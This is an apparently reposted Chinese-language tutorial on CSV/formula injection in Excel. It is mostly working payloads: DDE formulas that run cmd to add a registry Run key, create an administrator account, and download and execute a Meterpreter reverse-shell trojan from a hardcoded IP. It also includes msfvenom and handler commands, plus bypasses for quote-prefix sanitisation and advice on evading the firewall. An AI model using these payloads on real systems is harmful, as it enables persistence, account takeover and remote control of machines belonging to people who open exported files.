csv注入利用和繞過總結


csv注入

csv注入是一種將包含惡意命令的excel公式插入到可以導出csv或xls等格式的文本中,當在excel中打開csv文件時,文件會轉換為excel格式並提供excel公式的執行功能,會造成命令執行問題。

漏洞原理

漏洞原理就是excel的一個特性,當單元格中內容以=-+@等符號開頭時,excel將會將其當成一個公式處理。

所以當我們輸入=1+1時,excel會自動將其計算

那么利用這個辦法,把等號后面的內容改為執行cmd命令控制其打開一個計算器

=1+cmd|' /C calc'!A0

漏洞利用 

修改注冊表

=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

添加用戶

=cmd|'/C net user test 123456 /add'!A0+
=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0


可以使用命令注入中的知識,同時執行兩個命令,達到新建一個管理員用戶的效果

下載木馬,反彈shell

准備木馬

#msf生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 -f exe -o reverse_tcp.exe
#python2開啟http服務
python -m SimpleHTTPServer 8888
#python3開啟http服務
python -m http.server 8888

攻擊機監聽 

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx
set LPORT 4444
run

靶機從python http服務下載木馬並執行 

curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe

那么我們在csv注入場景下的payload就是 

=cmd|'/C curl http://170.170.64.17:8888/reverse_tcp.exe --output windowsLocal.exe && .\windowsLocal.exe'!A0

 

不過這個方法一般會在下載步驟被windows防火牆攔截,可以自行增加一層編解碼或者加解密過程。 

反彈shell也可以通過調用powershell下載powercat反彈,使用nc監聽。

漏洞繞過

其他運算符號繞過

很多場景下服務器會過濾=,但是在excel中,+,-,@等也可以觸發公式

-cmd|' /C calc'!A0
+cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)

%0A繞過自動添加單引號 

有些防御手法會在等號之類的運算符前增加’,或每個元素開頭直接添加單引號,可使用%0A換行執行

%0A-1+cmd|' /C calc'!A0

;繞過自動添加單引號 

有些防御手法會在等號之類的運算符前增加’,或每個元素開頭直接添加單引號,可使用;分割,分別執行

;-1+cmd|' /C calc'!A0

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM